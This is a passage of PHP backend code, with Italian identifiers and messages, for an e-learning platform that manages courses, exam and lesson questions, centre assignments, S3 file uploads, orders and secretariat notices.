		// $id_domanda= $this->db->SafeInsert($query_l);
		// if(!$id_domanda){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Domanda esame  del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }
		
		// $query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		// $id_risposta= $this->db->SafeInsert($query_l);
		// if(!$id_risposta){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Risposta domanda esame  del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }
		// $query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		// $id_risposta= $this->db->SafeInsert($query_l);
		// if(!$id_risposta){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Risposta domanda esame  del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }
		// $query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		// $id_risposta= $this->db->SafeInsert($query_l);
		// if(!$id_risposta){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Risposta domanda esame  del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }
		// $query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		// $id_risposta= $this->db->SafeInsert($query_l);
		// if(!$id_risposta){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Risposta domanda esame  del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }
		
		
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Corso non inserito errore in fase di creazione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Corso inserito con successo!", true) );
		}
	}

	function rimuoviDomandaLezione($id_domanda){
		$this->db->beginTransaction();
		$id_domanda =  $this->db->quoteInt($id_domanda);
		$check = $this->db->SafeExec("DELETE FROM corso_lezione_domanda WHERE id_domanda=$id_domanda");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la domanda associata alla lezione!", false) );
		}
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la domanda!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Domanda cancellata con succeso", true) );
		}
	}
	function rimuoviDomandaEsame($id_domanda){
		$this->db->beginTransaction();
		$id_domanda =  $this->db->quoteInt($id_domanda);
		$check = $this->db->SafeExec("DELETE FROM corso_esame_domanda WHERE id_domanda=$id_domanda");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la domanda associata all esame!", false) );
		}
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la domanda!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Domanda cancellata con succeso", true) );
		}
	}
	function rimuoviModuloEsame($id_modulo){
		$this->db->beginTransaction();
		$id_modulo =  $this->db->quoteInt($id_modulo);
		$check = $this->db->SafeExec("DELETE FROM corso_esame_modulo WHERE id_modulo=$id_modulo");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare il modulo associato all esame!", false) );
		}
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare il modulo!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Domanda cancellata con succeso", true) );
		}
	}
	

	function aggiungiModuloEsame($_id_esame){
		$this->db->beginTransaction();
		$id_esame =  $this->db->quoteInt($_id_esame);
		$query_l = "INSERT INTO corso_esame_modulo (id_esame) VALUES($id_esame);";
		$id_modulo= $this->db->SafeInsert($query_l);
		if(!$id_modulo){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Modulo esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$query_l = "INSERT INTO corso_esame_domanda (id_modulo) VALUES($id_modulo);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}



		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire la nuova lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Inserito nuovo modulo!", true) );	
		}
	}

	function aggiungiDomandaEsame($_id_modulo){
		$this->db->beginTransaction();
		$id_modulo =  $this->db->quoteInt($_id_modulo);
		$query_l = "INSERT INTO corso_esame_domanda (id_modulo) VALUES($id_modulo);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire la nuova lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Inserita nuova domanda!", true) );	

		}
	}

	function aggiungiDomandaLezione($_id_lezione){
		$this->db->beginTransaction();
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$query_l = "INSERT INTO corso_lezione_domanda (id_lezione) VALUES($id_lezione);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire la nuova lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Inserita nuova domanda!", true) );	

		}
	}

	function deleteCorso($_id_corso){
		$this->db->beginTransaction();
		$id_corso =  $this->db->quoteInt($_id_corso);
		
		// if(!$this->db->SafeExec("DELETE FROM corso_edizione WHERE id_corso=$id_corso")){
		// 	$this->db->rollback();
		// }
		// if(!$this->db->SafeExec("DELETE FROM iscrizioni_studenti_corsi WHERE id_corso=$id_corso")){
		// 	$this->db->rollback();
		// }
		// if(!$this->db->SafeExec("DELETE FROM corso_esame_studente WHERE id_corso=$id_corso")){
		// 	$this->db->rollback();
		// }assegnaEsameUtente
		// if(!$this->db->SafeExec("DELETE FROM materialecorsi_formatore WHERE id_corso=$id_corso")){
		// 	$this->db->rollback();
		// }
		// if(!$this->db->SafeExec("DELETE FROM sessione WHERE id_corso=$id_corso")){
		// 	$this->db->rollback();
		// }s
		// if(!$this->db->SafeExec("DELETE FROM corso_lezione WHERE id_corso=$id_corso")){
		// 	$this->db->rollback();
		// }
		// if(!$this->db->SafeExec("DELETE FROM corso_esame WHERE id_corso=$id_corso")){
		// 	$this->db->rollback();
		// }
		if(!$this->db->SafeExec("DELETE FROM corso WHERE id_corso=$id_corso")){
			$this->db->rollback();
		}				
		
		$res = $this->db->commit();
		if ($res) {
			return $this->printMessage( $this->responseMessage("Corso eliminato con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	function assegnaCorsoCentro($_id_centro, $_id_corso){
		$id_centro =  $this->db->quoteInt($_id_centro);
		$id_corso =  $this->db->quoteInt($_id_corso);
		$verifica = $this->db->SafeFetchOne("SELECT * FROM centri_corsi_assegnati WHERE id_centro=$id_centro AND id_corso=$id_corso;");
		if($verifica){
			return $this->printMessage( $this->responseMessage("Corso già associato al centro!", false) );
		}
		if($this->db->SafeInsert("INSERT INTO centri_corsi_assegnati (id_centro, id_corso) VALUES($id_centro, $id_corso);")){		
			return $this->printMessage( $this->responseMessage("Corso associato al centro!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Non è stato possibile associare il corso al centro!", false) );
		}
	}

	function eliminaAssociazioneCorsoCentro($_id_centro, $_id_corso){
		$id_centro =  $this->db->quoteInt($_id_centro);
		$id_corso =  $this->db->quoteInt($_id_corso);
		$verifica = $this->db->SafeFetchOne("SELECT * FROM centri_corsi_assegnati WHERE id_centro=$id_centro AND id_corso=$id_corso;");
		if($verifica){
			if($this->db->SafeExec("DELETE FROM centri_corsi_assegnati WHERE id_centro=$id_centro AND id_corso=$id_corso;")){		
				return $this->printMessage( $this->responseMessage("Corso disassociato dal centro!", true) );	
			}else{
				return $this->printMessage( $this->responseMessage("Non è stato possibile disassociare il corso dal centro!", false) );
			}
		}else{
			return $this->printMessage( $this->responseMessage("Corso non associato al centro!", false) );
		}
		
	}

	function assegnaEsameCentro($_id_centro, $_id_esame){
		$id_esame =  $this->db->quoteInt($_id_esame);
		$id_centro =  $this->db->quoteInt($_id_centro);
		$verifica = $this->db->SafeFetchOne("SELECT * FROM centri_esami_assegnati WHERE id_centro=$id_centro AND id_esame=$id_esame;");
		if($verifica){
			return $this->printMessage( $this->responseMessage("Certificazione già associata al centro!", false) );
		}
		$sql = "INSERT INTO centri_esami_assegnati (id_centro, id_esame) VALUES($id_centro, $id_esame);";
		if($this->db->SafeInsert($sql)){		
			return $this->printMessage( $this->responseMessage("Certificazione associata al centro!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Non è stato possibile associare la certificazione al centro!", false) );
		}
	}

	function eliminaAssociazioneEsameCentro($_id_centro, $_id_esame){
		$id_esame =  $this->db->quoteInt($_id_esame);
		$id_centro =  $this->db->quoteInt($_id_centro);
		$verifica = $this->db->SafeFetchOne("SELECT * FROM centri_esami_assegnati WHERE id_centro=$id_centro AND id_esame=$id_esame;");
		if($verifica){
			$sql = "DELETE FROM centri_esami_assegnati WHERE id_centro=$id_centro AND id_esame=$id_esame;";
			if($this->db->SafeExec($sql)){		
				return $this->printMessage( $this->responseMessage("Certificazione disassociata al centro!", true) );	
			}else{
				return $this->printMessage( $this->responseMessage("Non è stato possibile disassociare la certificazione dal centro!".$sql, false) );
			}
		}else{
			return $this->printMessage( $this->responseMessage("Certificazione non associata al centro!", false) );
		}
		
	}

	function onoffCorsoCentro($_onoff, $_id_corso){
		$onoff =  $this->db->quoteInt($_onoff);
		$id_corso =  $this->db->quoteInt($_id_corso);
		if($this->db->SafeExec("UPDATE centri_corsi_assegnati SET active = $onoff WHERE id_corso = $id_corso")){		
			return $this->printMessage( $this->responseMessage("Operazione eseguita con successo!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Non è stato possibile eseguire l'operazione!", false) );
		}
	}
	function onoffEsamiCentro($_onoff, $_id_esame){
		$onoff =  $this->db->quoteInt($_onoff);
		$id_esame =  $this->db->quoteInt($_id_esame);
		if($this->db->SafeExec("UPDATE centri_esami_assegnati SET active = $onoff WHERE id_esame = $id_esame")){		
			return $this->printMessage( $this->responseMessage("Operazione eseguita con successo!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Non è stato possibile eseguire l'operazione!", false) );
		}
	}
	
	function getFilesCorso($id_corso) {
		$res = $this->getListaFilePrivate('corso', $id_corso);
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	function getFilesLezione($id_lezione) {
		$res = $this->getListaFilePrivate('lezione', $id_lezione, false);
		return $this->printMessage( $this->responseMessage($res, true) );
	}


	
	function getFileCorso($id_corso, $filename) {
		
		$this->getFile("corso",$id_corso,$filename);
	}

	function getFileLezione($id_lezione, $filename) {
		
		$this->getFile("lezione",$id_lezione,$filename);
	}

	function cancellaFileLezione($id_lezione, $filename) {
		
		$this->deleteFileS3Private("lezione",$id_lezione,$filename);
	}


	function cancellaFileCorso($id_corso, $filename) {
		
		$this->deleteFileS3Private("corso",$id_corso,$filename);
	}
	
	function uploadFilesCorso($id_corso, $files){
		for ($i=0; $i < count($files); $i++) { 
			$ret = $this->putFileS3Private("corso", $id_corso, $files[$i]);
		}
		if($ret){
			return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
		}else{
			return $this->printMessage( $this->responseMessage("Errore nel carimento del file",true) );
		}
		
	}

	function updateSlideLezione($id_lezione, $image_url){
		$id_lezione =  $this->db->quoteInt($id_lezione);
		$image_url =  $this->db->quoteText($image_url);
		$q = "UPDATE corso_lezione SET image_url = $image_url WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Slides aggiornata!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}

	}
	function emptyArray(){
		return $this->printMessage( $this->responseMessage([], false) );
	}

	function retTrue(){
		return $this->printMessage( $this->responseMessage(true, false) );
	}

	function uploadFilesLezione($id_lezione, $type, $files){
		$ret= array();
		$main_folder = "lezione";
		$is_video = false;
		for ($i=0; $i < count($files); $i++) { 
			switch ($type) {
				case 'image': 
					$folder = $id_lezione."/image";
					$comp = $this->compressImage($files[$i]);
					if($comp){
						$ret[] = $this->putFileS3Private("lezione", $folder, $comp); 
					}else{
						//$ret[] = $this->putFileS3Private("lezione", $folder, $files[$i]); 
					}
				break;
				case 'video': $ret[] = $this->putVideoS3ToConvertPrivate($files[$i], $id_lezione); break;
				default: $ret[] = $this->putFileS3Private("lezione", $id_lezione, $files[$i]); break;
			}
			
		}

		if($type == "image"){
			$_id_lezione =  $this->db->quoteInt($id_lezione);
			$lezione = $this->db->SafeFetchOne("SELECT image_url FROM corso_lezione WHERE id_lezione=$_id_lezione");
			try {
				$slides = json_decode($lezione['image_url']);
			}catch(Exception $e){
				$slides = array();
			}
		}
		for ($i=0; $i < count($ret); $i++) { 
			if($ret[$i]){
				$nome_file = end(explode("/",$ret[$i]));
				if($type == "image"){
					$url_path = "image/".$nome_file;
					$url = $this->db->quoteText($url_path);
					if($nome_file){
						$slides[] = array("url"=>$url_path, "posizione"=>count($slides));
					}
				}else if($type == "video"){ //video solo 1 consentito (il primo)
					$url_path = "video/".$nome_file;
					$url = $this->db->quoteText($url_path);
					$q = "UPDATE corso_lezione SET video_url = $url WHERE id_lezione = $id_lezione;";
					$check = $this->db->SafeExec($q);
					if(!$check){	
						return $this->printMessage( $this->responseMessage("Non è stato possibile caricare la slide della lezione!", false) );
					}else{
						return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
					}
				}
				
			}
		}

		if($type == "image"){
			$_slides = $this->db->quoteText(json_encode($slides));
			$q = "UPDATE corso_lezione SET image_url = ". $_slides ." WHERE id_lezione = $id_lezione;";
			$check = $this->db->SafeExec($q);
			if(!$check){	
				return $this->printMessage( $this->responseMessage("Non è stato possibile caricare le slides della lezione!", false) );
			}else{
				return $this->printMessage( $this->responseMessage("Slides caricate con successo!", true) );
			}
		}else{//files
			return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
		}
		
	}

	

	function uploadFilesUtente($_id_user, $files){
		for ($i=0; $i < count($files); $i++) { 
			$ret = $this->putFileS3Private("user", $_id_user, $files[$i]);
		}
		if($ret){
			return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
		}else{
			return $this->printMessage( $this->responseMessage("Errore nel carimento del file",true) );
		}
		
	}
	


	function uploadFilesSegreteria($_id_segreteria, $files){
		for ($i=0; $i < count($files); $i++) { 
			$ret = $this->putFileS3Private("segreteria", $_id_segreteria, $files[$i]);
		}
		if($ret){
			return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
		}else{
			return $this->printMessage( $this->responseMessage("Errore nel carimento del file",true) );
		}
		
	}

	function getOrdiniAll() {
		$query = "SELECT user.id_user, centri_user_info.denominazione, centri_ordini.id_ordine, centri_ordini.updated_time, centri_ordini.completed, centri_ordini.descrizione, centri_ordini.prezzo, centri_ordini.insert_time FROM centri_ordini LEFT JOIN user ON user.id_user = centri_ordini.id_user LEFT JOIN centri_user_info ON user.id_user = centri_user_info.id_user WHERE centri_ordini.prezzo > 0 ORDER BY insert_time DESC";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	private function getOrdiniTableByIdCentro($_id_centro){
		$id_centro =  $this->db->quoteInt($_id_centro);
		$query = "SELECT user_type_id FROM user WHERE id_user = ".$id_centro;
		$res= $this->db->SafeFetchOne($query);
		if($res['user_type_id'] == 2){
			return "centri_ordini_standard";
		}
		return "centri_ordini";
	}

	function getOrdini($_id_centro) {
		$table = $this->getOrdiniTableByIdCentro($_id_centro);
		$id_centro =  $this->db->quoteInt($_id_centro);
		$query = "SELECT id_ordine, completed, updated_time, descrizione, prezzo, insert_time FROM $table WHERE $table.id_user = ".$id_centro." ORDER BY insert_time DESC";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function accettaOrdine($_id_ordine){
		$id_ordine =  $this->db->quoteInt($_id_ordine);
		if($this->db->SafeExec("UPDATE centri_ordini SET completed = 1 WHERE id_ordine = $id_ordine")){		
			//Email
			$query = "SELECT user.email FROM centri_ordini LEFT JOIN user ON user.id_user=centri_ordini.id_user WHERE centri_ordini.id_ordine = $id_ordine";
			$res= $this->db->SafeFetch($query);	
			$email = $res['email'];
			$check_email = false;
			$oggetto = "Annullamento Ordine - Piattaforma Sapere";
			$htmlbody ="Gentile Utente,<br>l'ordine ".$id_ordine." è stato accettato. Per maggiori informazioni contattare la segreteria!<br><br><br>Piattaforma Sapere";
			$txtbody ="Gentile Utente,\nl'ordine ".$id_ordine." è stato accettato. Per maggiori informazioni contattare la segreteria!\n\nPiattaforma Sapere";
			if(!$this->inviaEmail($email, $oggetto, $htmlbody, $txtbody)){
				$check_email = true;
			}
			return $this->printMessage( $this->responseMessage("Ordine accettato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Non è stato possibile accettare l'ordine!", false) );
		}
	}
	function getStorico($id_user) {
		$id_user = $this->db->quoteInt($id_user);
		$res = [];
		$query = "SELECT * FROM user_log WHERE id_user = $id_user ORDER BY data ASC ;"; 
		$res['ws'] = $this->db->SafeFetch($query);
		$query = "SELECT * FROM controllo_login WHERE controllo_login.iduser = $id_user ORDER BY timestamp DESC;";
		$res['controllo_login'] = $this->db->SafeFetch($query);
		$res['minuti'] = $this->calcolaTempoSuPiattaforma($res['ws']);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function accettaOrdineCentro($_id_ordine, $_id_centro){
		$id_ordine =  $this->db->quoteInt($_id_ordine);
		$table = $this->getOrdiniTableByIdCentro($_id_centro);
		$id_centro =  $this->db->quoteInt($_id_centro);
		if($this->db->SafeExec("UPDATE $table SET completed = 1 WHERE id_ordine = $id_ordine")){		
			//Email
			$query = "SELECT user.email FROM $table LEFT JOIN user ON user.id_user=$table.id_user WHERE $table.id_ordine = $id_ordine";
			$res= $this->db->SafeFetch($query);	
			$email = $res['email'];
			$check_email = false;
			$oggetto = "Annullamento Ordine - Piattaforma Sapere";
			$htmlbody ="Gentile Utente,<br>l'ordine ".$id_ordine." è stato accettato. Per maggiori informazioni contattare la segreteria!<br><br><br>Piattaforma Sapere";
			$txtbody ="Gentile Utente,\nl'ordine ".$id_ordine." è stato accettato. Per maggiori informazioni contattare la segreteria!\n\nPiattaforma Sapere";
			if(!$this->inviaEmail($email, $oggetto, $htmlbody, $txtbody)){
				$check_email = true;
			}
			return $this->printMessage( $this->responseMessage("Ordine accettato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Non è stato possibile accettare l'ordine!", false) );
		}
	}

	function annullaOrdineCentro($_id_ordine, $_id_centro){
		$id_ordine =  $this->db->quoteInt($_id_ordine);
		$table = $this->getOrdiniTableByIdCentro($_id_centro);
		$id_centro =  $this->db->quoteInt($_id_centro);
		if($this->db->SafeExec("UPDATE $table SET completed = -1 WHERE id_ordine = $id_ordine")){		
			//Email
			$query = "SELECT user.email FROM $table LEFT JOIN user ON user.id_user=$table.id_user WHERE $table.id_ordine = $id_ordine";
			$res= $this->db->SafeFetch($query);	
			$email = $res['email'];
			$check_email = false;
			$oggetto = "Annullamento Ordine - Piattaforma Sapere";
			$htmlbody ="Gentile Utente,<br>l'ordine ".$id_ordine." è stato annullato. Per maggiori informazioni contattare la segreteria!<br><br><br>Piattaforma Sapere";
			$txtbody ="Gentile Utente,\nl'ordine ".$id_ordine." è stato annullato. Per maggiori informazioni contattare la segreteria!\n\nPiattaforma Sapere";
			if(!$this->inviaEmail($email, $oggetto, $htmlbody, $txtbody)){
				$check_email = true;
			}
			return $this->printMessage( $this->responseMessage("Ordine annullato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Non è stato possibile annullare l'ordine!", false) );
		}
	}


	function getCentriCorso($_id_corso) {
		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT user.*, centri_user_info.* FROM centri_corsi_assegnati LEFT JOIN user ON user.id_user=centri_corsi_assegnati.id_centro LEFT JOIN centri_user_info ON centri_user_info.id_user = user.id_user WHERE centri_corsi_assegnati.id_corso = ".$id_corso;
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getCentriEsame($_id_esame) {
		$id_esame =  $this->db->quoteInt($_id_esame);
		$query = "SELECT user.*, centri_user_info.* FROM centri_esami_assegnati LEFT JOIN user ON user.id_user=centri_esami_assegnati.id_centro LEFT JOIN centri_user_info ON centri_user_info.id_user = user.id_user WHERE centri_esami_assegnati.id_esame = ".$id_esame;
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	

	function getSegreteria() {
		$query = "SELECT * from segreteria";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	
	function getSegreterio($_id_segreteria) {
		$id_segreteria =  $this->db->quoteInt($_id_segreteria);
		$query = "SELECT id_segreteria, id_user_destinatario, titolo, descrizione, categoria, colore, attivo, insert_time, updated from segreteria WHERE id_segreteria = $id_segreteria";
		$res= $this->db->SafeFetchOne($query);	
		$res['files']='';
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	

	function deleteSegreteria($_id_segreteria) {
		$id_segreteria =  $this->db->quoteInt($_id_segreteria);
		if($this->db->SafeExec("DELETE FROM segreteria WHERE id_segreteria=$id_segreteria")){
			return $this->printMessage( $this->responseMessage("Comunicazione cancellata!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la comunicazione!", false) );
		}
	}

	function getFileSegreteria($_id_segreteria, $filename){
		$res = $this->getFile('segreteria', $_id_segreteria, $filename);
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	
	function modificaSegreteria($_id_segreteria,$_attivo, $_categoria, $_colore, $_descrizione, $_titolo, $_id_user_destinatario, $files){
		$id_segreteria =  $this->db->quoteInt($_id_segreteria);
		$id_user_destinatario =  $this->db->quoteInt($_id_user_destinatario);
		$attivo =  $this->db->quoteInt($_attivo);
		$categoria =  $this->db->quoteText($_categoria);
		$colore =  $this->db->quoteText($_colore);
		$descrizione =  $this->db->quoteText($_descrizione);
		$titolo =  $this->db->quoteText($_titolo);

		$q = "UPDATE segreteria SET attivo=$attivo, categoria=$categoria, colore=$colore, descrizione=$descrizione, titolo=$titolo, id_user_destinatario=$id_user_destinatario WHERE id_segreteria = $id_segreteria;";
		//if () {
			$this->db->SafeExec($q);
			//carico files
			$check = false;
			for ($i=0; $i < count($files); $i++) { 
				$uf = $this->putFileS3Private("segreteria", $_id_segreteria, $files[$i]);
				if(!$uf){
					$check = true;
				}
			}
			if (!$check) {
				return $this->printMessage( $this->responseMessage("Comunicazione aggiornata!", true) );
			}else{
				return $this->printMessage( $this->responseMessage("Errore nel caricamento dei files! ", false) );
			}
			
    	// } else {
		// 	return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento della comunicazione, si prega di riprovare! ".$q, false) );
		// }
	}

	function inserisciSegreteria($_attivo, $_categoria, $_colore, $_descrizione, $_titolo, $_id_user_destinatario, $files){
		$attivo =  $this->db->quoteInt($_attivo);
		$categoria =  $this->db->quoteText($_categoria);
		$colore =  $this->db->quoteText($_colore);
		$descrizione =  $this->db->quoteText($_descrizione);
		$titolo =  $this->db->quoteText($_titolo);
		$id_user_destinatario =  $this->db->quoteInt($_id_user_destinatario);

		$q = "INSERT INTO segreteria (attivo, categoria, colore, descrizione, titolo, id_user_destinatario) VALUES ($attivo, $categoria, $colore,$descrizione, $titolo, $id_user_destinatario);";
		//if () {
			$id_segreteria = $this->db->SafeInsert($q);
			//carico files
			$check = false;
			for ($i=0; $i < count($files); $i++) { 
				$uf = $this->putFileS3Private("segreteria", $id_segreteria, $files[$i]);
				if(!$uf){
					$check = true;
				}
			}
			if (!$check) {
				return $this->printMessage( $this->responseMessage("Comunicazione inserita!", true) );
			}else{
				return $this->printMessage( $this->responseMessage("Errore nel caricamento dei files! ", false) );
			}
			
    	// } else {
		// 	return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento della comunicazione, si prega di riprovare! ".$q, false) );
		// }
	}

	function cancellaFileSegreteria($id_segreteria, $filename) {
		
		$this->deleteFileS3Private("segreteria",$id_segreteria,$filename);
	}
	function assegnaEsameUtente($id_user, $id_esame, $id_sessione, $id_centro){
		$table = $this->getOrdiniTableByIdCentro($id_centro);
		$id_centro =  $this->db->quoteInt($id_centro);
		$id_esame =  $this->db->quoteInt($id_esame);
		$id_user =  $this->db->quoteInt($id_user);
		
		$query = "SELECT SUM(prezzo) as credito FROM $table WHERE id_user =".$id_centro . " and completed=1";
		$res= $this->db->SafeFetchOne($query);	
		$credito = $res['credito'];
		if(!$credito){
			$credito = 0;
		}
	
		$corso= $this->db->SafeFetchOne("SELECT *  FROM corso_esame where attivo=1 AND id_esame = $id_esame");	

		if(($credito==0 && intval($corso['prezzo'])>0) || intval($credito) < intval($corso['prezzo'])){
			return $this->printMessage( $this->responseMessage("Non è stato possibile effetturare l'iscrizione, il credito di $credito Token del centro non è sufficiente!", false) );
		}	

		$studente= $this->db->SafeFetchOne("SELECT *  FROM studenti_user_info where id_user = $id_user");	

		$descrizione =  $this->db->quoteText("Aquisto corso '" .$corso['titolo'] . "' per '" . $studente['nome']. " ".  $studente['cognome']. "' - ".  $studente['cdf']);
		$_prezzo =  $corso['prezzo'];
